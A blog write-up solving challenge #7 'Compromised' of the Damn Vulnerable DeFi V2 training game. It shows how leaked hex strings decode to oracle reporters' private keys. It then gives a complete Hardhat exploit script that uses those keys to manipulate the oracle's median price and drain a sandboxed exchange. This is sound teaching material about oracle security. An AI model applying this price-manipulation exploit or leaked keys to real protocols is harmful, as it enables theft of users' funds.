Damn Vulnerable DeFi V2 - #7 Compromised

February 22, 2022 by patrickd

This is part 4 of the write-up series on Damn Vulnerable DeFi V2. Please consider attempting to solve it on your own first since it's a lot less fun after being spoiled!

Challenge #7 - Compromised (opens in a new tab)

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. This is a snippet:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called "DVNFT", now at 999 ETH each

This price is fetched from an on-chain oracle, and is based on three trusted reporters: 0xA73209FB1a42495120166736362A1DfA9F95A105,0xe92401A4d3af5E446d93D11EEc806b1462b39D15 and 0x81A5D6E50C214044bE44cA0CB057fe119097850c.

Starting with only 0.1 ETH in balance, you must steal all ETH available in the exchange.

This might be the most obscure challenge so far throwing some strings of hexdecimal characters at us right at the start. So what might they be? First thing to notice is that both start with 4d 48 and a quick google search for these two characters leads to a whole bunch of other Damn Vulnerable Defi write-ups – so let's quickly abandon that lead to not get spoiled.

Maybe decoding them to ascii will reveal something?

ubuntu@damnvulndefi:~/damn-vulnerable-defi$ echo "4d 48 68 6a ... 7a 4e 57 45 35"  | xxd -r -p
ubuntu@damnvulndefi:~/damn-vulnerable-defi$ echo "4d 48 67 79 ... 69 59 6a 51 34"  | xxd -r -p

Well it's certainly interesting that this yields readable strings, but they seem too long to be a private keys and too short to be signed transactions..

Code Review

For now, let's move on to reviewing the testcases (opens in a new tab), the setup of the challenge scenario is quite a bit of code but it can basically be summarized as follows:

  1. Each of the above mentioned oracle "trusted reporter" addresses is given 2 ether.
  2. Attacker EOA account is given 0.1 ether.
  3. A TrustfulOracleInitializer contract is deployed with the "trusted reporter" addresses, "DVNFT" as token symbol and the initial price if 999 ether as parameters. It appears that this contract also deploys TrustfulOracle during construction.
  4. Finally a Exchange contract is deployed with an initial balance of 9999 ether and it seems to deploy a DamnValuableNFT during construction.

The success conditions are that, as described above, the Exchange had all its ether stolen and moved to the attacker's account. Additionally, once everything is over, the attacker may not own any NFT and, quite interestingly, the price of the NFTs according to the oracle's getMedianPrice() function must not have changed from the initial price. I had initially expected that some kind of oracle price manipulation would be the goal, but maybe not?

The TrustfulOracleInitializer contract (opens in a new tab) doesn't seem to do much: It has a constructor in which TrustfulOracle is first deployed, then an setupInitialPrices() function is called (we should check whether it can be called again after initialization) and finally a NewTrustfulOracle event is emitted:

oracle = new TrustfulOracle(sources, true);
oracle.setupInitialPrices(sources, symbols, initialPrices);
emit NewTrustfulOracle(address(oracle));

The TrustfulOracle contract (opens in a new tab) appears a lot more complex. It extends OpenZepplin's AccessControlEnumerable (opens in a new tab) adding an access roles system that allows enumeration of addresses assigned to each role.

One role is INITIALIZER_ROLE which is temporarily assigned to the TrustfulOracleInitializer during construction, a requirement for calling setupInitialPrices(), and once initialized it's immediately revoked again. This logic does not appear to have any issues, so we can't make use of any re-initialization vulnerability.

The second role is TRUSTED_SOURCE_ROLE which each of the oracle's "trusted reporter" addresses is assigned to. This role is required for calling the postPrice() function that allows updating a symbol's price.

But that's just about it really, most of the other functions are view or internal and not doing much. We can come back to them once we find out which of these are actually used by the Exchange we're supposed to exploit.

The Exchange contract (opens in a new tab) is quite simple and can be reduced to the following essential parts to understand:

contract Exchange is ReentrancyGuard {
    function buyOne() external payable nonReentrant returns (uint256) {
        // Price should be in [wei / NFT]
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
        require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");
        uint256 tokenId = token.safeMint(msg.sender);
    function sellOne(uint256 tokenId) external nonReentrant {
        require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
        require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");
        // Price should be in [wei / NFT]
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
        require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");
        token.transferFrom(msg.sender, address(this), tokenId);

In simple terms, this contract allows us to buy and sell DVNFT tokens for whatever the oracle claims the current median price is. Since we're supposed to drain all ether from this contract, we'll likely need to use sellOne() as part of the exploit.

For completeness, let's also look at the DamnValuableNFT contract (opens in a new tab) which only appears to have one significant function:

function safeMint(address to) public onlyRole(MINTER_ROLE) returns (uint256) {
    uint256 tokenId = _tokenIdCounter.current();
    _safeMint(to, tokenId);
    return tokenId;

Decoding leaked secrets

So far I've not been able to identify any critical issue in the smart contract implementation itself. Guessing from the challenge's title "Compromised" I still think the key to solving it lies behind the 2 strings we were given at the beginning. They probably allow us to somehow compromise the oracle's trusted reporters and post incorrect prices, which would also explain why each of those accounts are given 2 ether at initialization of the scenario. On the other hand I wonder why the success conditions require the price to be the same as the initialization price; why would the challenge require us to reset the price after the exploit has happened?

At this point I kept looking at my cryptography notes, tools and scripts for private key recovery, thinking that I might be able to plug those hex values into some of them, when I read "base64" somewhere and then remembered that it was weird that those strings are perfectly fine when encoded to ascii. And yes, in hindsight, it should've been obvious even without the typical base64 = padding character that both of these strings can be decoded yielding two hexdecimal numbers:

ubuntu@damnvulndefi:~/damn-vulnerable-defi$ echo "MHhjNjc4ZWY...NDczNWE5" | base64 --decode
ubuntu@damnvulndefi:~/damn-vulnerable-defi$ echo "MHgyMDgyNDJ...zNDBiYjQ" | base64 --decode

These sure look a lot like 32 byte long private keys! Pasting them into eth-toolbox.com (opens in a new tab) we can see that these are indeed private keys for the trusted reporter addresses 0xe92401a4d3af5e446d93d11eec806b1462b39d15 and 0x81a5d6e50c214044be44ca0cb057fe119097850c!


Two out of three price reporters are now compromised and we can use them to call postPrice() to manipulate the NFT price for the exchange's selling and buying functions.

The median of three prices is always the one in the middle of a sorted array. So initially it's 999 from [999, 999, 999]. We can report 0 as a price twice in order to end up with a median price of 0 ([0, 0, 999]). After we bought an NFT for free, we can raise the price to 9999 in order to sell it again for all of the exchange's funds ([999, 9999, 9999]).

it('Exploit', async function () {
    // Gain access to oracle's price sources.
    const source1 = new ethers.Wallet("0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9", ethers.provider);
    const source2 = new ethers.Wallet("0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48", ethers.provider);
    // Set NFT median price to 1 wei.
    await this.oracle.connect(source1).postPrice("DVNFT", 1);
    await this.oracle.connect(source2).postPrice("DVNFT", 1);
    // Buy 1 NFT for 1 wei.
    await this.exchange.connect(attacker).buyOne({value: 1});
    // Set NFT median price to 9999 ether + 1 wei.
    await this.oracle.connect(source1).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE.add(1));
    await this.oracle.connect(source2).postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE.add(1));
    // Sell NFT #0 for 9999 ether + 1 wei to completely drain.
    await this.nftToken.connect(attacker).approve(this.exchange.address, 0)
    await this.exchange.connect(attacker).sellOne(0);
    // Reset price to initial 999 ether.
    await this.oracle.connect(source1).postPrice("DVNFT", INITIAL_NFT_PRICE);
    await this.oracle.connect(source2).postPrice("DVNFT", INITIAL_NFT_PRICE);

While writing the exploit I noticed that we can't actually exploit it with 0 as a price since buyOne() has a check that ensures the sent value must be bigger than 0. So instead we'll set 1 wei as a price, which is just about the same as nothing as well.

ubuntu@damnsvulndefi:~/damn-vulnerable-defi$ yarn run compromised
yarn run v1.22.17
$ yarn hardhat test test/compromised/compromised.challenge.js
$ /home/ubuntu/damn-vulnerable-defi/node_modules/.bin/hardhat test test/compromised/compromised.challenge.js
  Compromised challenge
     Exploit (189ms)
  1 passing (1s)
Done in 2.47s.


Well, the obscurity of having to decode private keys from a "data leak" aside, this challenge was actually quite easy once you figure out the trick. Consider watching OpenZeppelin's workshop on The Dangers of Price Oracles in Smart Contracts (opens in a new tab) to learn more about secure design and integration of oracles.---